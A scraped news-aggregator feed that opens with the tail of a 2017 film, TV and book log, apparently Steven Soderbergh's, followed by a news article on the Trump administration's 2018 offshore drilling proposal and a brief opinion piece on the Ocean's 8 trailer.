09/02 TWIN PEAKS, The GFE Novelization, Allison Leotta, W1A (2), DELIVERANCE

09/04 Evolving Ourselves, Juan Enriquez and Steven Gullans, TWIN PEAKS

09/05 ALL THE PRESIDENT’S MEN REVISITED

09/07 THE THICK OF IT

09/08 THE THICK OF IT

09/10 THE THICK OF IT

09/11 “By The Way, Meet Vera Stark”, Lynn Nottage, THE THICK OF IT (2)

09/12 APPLE SPECIAL EVENT (STREAMED), THE THICK OF IT (2), UNSANE, SE7EN

09/15 DATELINE

09/16 TWIN PEAKS, GOLOVKIN VS ALVAREZ, Ties, Domenico Starnone

09/17 TWIN PEAKS, THE 69TH EMMY AWARDS

09/18 HOUSE OF Z

09/19 THE VIETNAM WAR

09/21 Fantasyland, Kurt Andersen

09/22 TRANSPARENT (2), DATELINE

09/23 TRANSPARENT (6), THE VIETNAM WAR

09/24 THE VIETNAM WAR (2)

09/26 The Misfortune of Marion Palm, Emily Culliton

09/29 Six Four, Hideo Yokoyama

09/30 Transit, Rachel Cusk, THE VIETNAM WAR (2)

10/01 Aftermath, Rachel Cusk, CURB YOUR ENHUSIASM

10/04 LONG SHOT

10/07 SPIELBERG

10/08 CURB YOUR ENTHUSIASM

10/13 W1A (2), DATELINE, We Were Eight Years in Power, Ta-Nehisi Coates

10/15 W1A (2), CURB YOUR ENTHUSIASM, DAVE CHAPPELLE: DEEP IN THE HEART OF TEXAS

10/17 W1A, OCEAN’S EIGHT

10/18 OCEAN’S EIGHT

10/19 OCEAN’S EIGHT

10/20 DATELINE

10/21 48 HRS, MAD MAX: FURY ROAD, HIS GIRL FRIDAY

10/22 IZUMI, CHINATOWN, CURB YOUR ENTHUSIASM

10/23 W1A, MINDHUNTER (2)

10/25 Secrecy World, Jake Bernstein

10/26 “M. Butterfly”, David Henry Hwang

10/27 TRACEY ULLMAN’S SHOW (2)

10/29 THE DUELLISTS, TOKYO DRIFTER, IKIRU, VENGEANCE IS MINE, CURB YOUR ENTHUSIASM

11/03 Kill All Normies, Angela Nagle, THE TALE OF ZATOICHI, WOMAN IN THE DUNES, OCEAN’S EIGHT

11/04 DATELINE, JOAN DIDION: THE CENTER WILL NOT HOLD, MINDHUNTER (2)

11/09 Classic Wiley: A Lifetime of Punches, Players, Punks, & Prophets, Ralph Wiley, BUTCH CASSIDY AND THE SUNDANCE KID

11/10 THE VIETNAM WAR (2)

11/11 AIRPORT 1975, THE VIETNAM WAR, TRACEY ULLMAN’S SH0W, DATELINE, THELMA, 48 HRS

11/12 DATELINE, DATELINE ON ID, MIRAGE, AIRPORT ’77, CURB YOUR ENTHUSIASM

11/13 SLAUGHTER-HOUSE FIVE

11/14 MINDHUNTER (2)

11/15 THE CONCORDE: AIRPORT ‘79

11/18 “The Play That Goes Wrong,” Henry Lewis, Jonathan Sayer and Henry Shields, I, TONYA, CATCH-22

11/19 CURB YOUR ENTHUSIASM, TRACEY ULLMAN’S SHOW

11/21 BATTLE OF THE SEXES, MINDHUNTER, 2001: A SPACE ODYSSEY

11/22 THE SQUARE (’17)

11/23 Subliminal: How Your Unconscious Mind Rules Your Behavior, Leonard Mlodinow, GOODTIME

11/24 Fresh Complaint, Jeffrey Eugenides, 20/20, DATELINE, 48 HRS

11/25 TRACEY ULLMAN’S SHOW, SOAPDISH, 48 HRS

11/26 MINDHUNTER (2)

11/29 A Brief History of Everyone Who Ever Lived, Adam Rutherford, LOS OLVIDADOS, CURB YOUR ENTHUSIASM

12/02 SMILF, Beasts: What Animals Can Teach Us About the Origins of Good and Evil, Jeffrey Moussaieff Masson, VOYEUR, DATELINE

12/03 SMILF (2), CURB YOUR ENTHUSIASM, ZODIAC

12/04 SMILF (2), DOWNSIZING

12/06 ROMAN J. ISRAEL, ESQ.

12/07 JOHN CARPENTER’S THE THING

12/09 TOKYO OLYMPIAD, OLYMPIA PART ONE: FESTIVAL OF NATIONS, OLYMPIA PART TWO: FESTIVAL OF BEAUTY

12/10 The Nine Emotional Lives of Cats, Jeffrey Moussaieff Masson, SMILF

12/12 THE FLORIDA PROJECT, “Cat Person”, Kristen Roupenian

12/13 CALL ME BY YOUR NAME

12/14 REAR WINDOW

12/15 WORMWOOD (6)

12/16 If It’s Not Funny It’s Art, Demetri Martin, “The Lazy River”, Zadie Smith, A Legacy of Spies, John le Carre, THE SHAPE OF WATER

12/17 Sleep No More, P.D. JAMES, PANIC ROOM, SMILF, THE PIRATES OF SOMALIA

12/18 BEATS, LADY BIRD

12/19 PHANTOM THREAD, MODERN ROMANCE

12/20 STAR WARS: THE LAST JEDI

12/21 HAPPY END

12/22 GOD IS THE BIGGER ELVIS, DATELINE, BEYOND ZERO: 1914-1918

12/23 HEAT, An Unsuitable Job for A Woman, P. D. James, THE DAY OF THE JACKAL, ALL THE PRESIDENT’S MEN

12/24 MISSION: IMPOSSIBLE, THE THIRD MAN

12/25 The Skull Beneath the Skin, P.D. James, MEMENTO, LOCK, STOCK AND TWO SMOKING BARRELS, VERTIGO

12/27 Death of a Murderer, Rupert Thompson, IQ, Joe Ide

12/28 THE INSULT

12/29 The Revolt of the Black Athlete, Harry Edwards, BLACK MIRROR (4)

12/30 BLACK MIRROR (2)

12/31 DAVE CHAPPELLE: EQUANIMITY, THE PARALLAX VIEW

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]]> https://briefnews.eu/everything-steven-soderbergh-watched-and-read-in-2017-including-nine-viewings-of-oceans-8/feed/ 0 US plan would open oceans to offshore drilling for 'energy dominance' https://briefnews.eu/us-plan-would-open-oceans-to-offshore-drilling-for-energy-dominance/ https://briefnews.eu/us-plan-would-open-oceans-to-offshore-drilling-for-energy-dominance/#respond Thu, 04 Jan 2018 22:41:42 +0000 http://briefnews.eu/us-plan-would-open-oceans-to-offshore-drilling-for-energy-dominance/ Bucking a three-decades-old prohibition, the Trump administration announced it plans to expand offshore drilling leases in 90 percent of US oceans. The move is stirring strong public opposition.

“We’re embarking on a new path for energy dominance in America, particularly on offshore,” Interior Secretary Ryan Zinke said Thursday as he unveiled the plan, according to the New York Times. “This is a clear difference between energy weakness and energy dominance. We are going to become the strongest energy superpower.”

Zinke’s plan is considered the most ambitious offshore drilling proposal in decades, and is a consequence of President Donald Trump’s executive order in April encouraging more drilling rights in federal waters.

Under the 2019-2024 leasing program, 90 percent of the total US Outer Continental Shelf (OCS) would be made available and more than 98 percent of federal offshore areas would be available for oil and gas development. Currently, 94 percent of the OCS is considered off-limits.

Under the draft proposal, which will be available for public input, the US government is looking to lease 47 parcels, 19 off the coast of Alaska, 12 in the Gulf of Mexico, nine in the Atlantic and seven in the Pacific Region.

In Alaska, the plan would open up areas in the Beaufort Sea, Cook Inlet, Gulf of Alaska, and Kodiak, among others. No sales are proposed in the North Aleutian Basin Planning Area.

In the Pacific, leases are proposed in Northern California, Central and Southern California and Washington/Oregon.

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A general view of the Centenario deep-water oil platform in the Gulf of Mexico off the coast of Veracruz, Mexico. Henry Romero

The proposal would lift a ban on drilling imposed by President Barack Obama in his final days in office, protecting more than 100 million offshore acres along the Arctic and Eastern Seaboard. Leases would be offered in the Mid- and South Atlantic, North and the Straits of Florida. There have been no sales since 1983 and there are no existing leases in these areas.

Oil industry leaders praised the proposal, calling it long overdue.

“I think the default should be that all of our offshore areas should be available,” said Thomas Pyle, president of the American Energy Alliance, according to the New York Times. He said seismic testing would be needed to assess potential oil and gas reserves in the Atlantic Ocean, though it could take years before potential testing permits are issued.

“These are our lands,” Pyle said. “They’re taxpayer-owned and they should be made available.”

The expansion is likely to trigger huge political backlash, particularly on the West Coast and in Florida. Offshore drilling has generated sharp opposition from residents, environmental groups and businesses who fear a spills – such as BP’s in the Gulf of Mexico in 2010 – could devastate beaches and destroy the tourist industry that is vital to the regional economies.

Frank Knapp, president of the Business Alliance for Protecting the Coast, told the Times that hundreds of small East Coast businesses, from restaurants to hotels to commercial fishing operations, have mobilized against allowing drilling off their state waters.

“It’s not consistent with our vibrant tourism, fishing and recreation. That’s what the East Coast is,” Knapp said. “Their concern is their livelihood, the local economies. We all saw what happened to the Gulf Coast with Deepwater Horizon.”

Finalizing the plan may take as long as 18 months, with public meetings slated to begin around the country on January 16. Venues and times will be posted on the Bureau of Ocean Energy Management’s website.

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]]> https://briefnews.eu/us-plan-would-open-oceans-to-offshore-drilling-for-energy-dominance/feed/ 0 Watch the Snazzy First Trailer for ‘Ocean’s 8’ https://briefnews.eu/watch-the-snazzy-first-trailer-for-oceans-8/ https://briefnews.eu/watch-the-snazzy-first-trailer-for-oceans-8/#respond Wed, 20 Dec 2017 00:45:06 +0000 http://briefnews.eu/watch-the-snazzy-first-trailer-for-oceans-8/ Yes, mainstream moviemaking has become an endless stream of franchises, remakes, and reboots, but every once in a while, people who give a damn manage to create something entertaining and engaging within that paradigm. One example of this upstream swimming is in theaters right now, a little something called Star Wars: The Last Jedi (heard of it?); another hits theaters next summer, a woman-ccentric spinoff of Steven Soderbergh’s popular Ocean’s series, Ocean’s 8. (Insert your own joke about women only getting 2/3 of what men get here.) This morning, we got our first trailer, and folks, it looks like a blast:

Though Soderbergh is only producing this time around, director Gary Ross and co-writer Olivia Milch genuinely seem to have honed in on the giddy energy of the Ocean’s series, thanks to its high style, gorgeous costumes, whip-smart humor, and ace ensemble (Sandra Bullock, Cate Blanchett, Rihanna, Helena Bonham Carter, Anne Hathaway, Mindy Kaling, Sarah Paulson and Awkwafina). And sure, it’ would’ve been swell if they could’ve found a woman to, y’know, direct, and James Corden is in there (why?), and though he’s not in the trailer, Matt Damon reportedly makes a cameo, at exactly the moment when we maybe don’t want to see him in a movie about women. But still! Looks like fun!

Ocean’s 8 hits theaters on June 8th, so we’ve only got six months of trailer down-voting and Rotten Tomatoes audience score campaigns orchestrated by men who’ll never know the touch of a real woman, and thus lash out against fictional ones. Enjoy!

                                            

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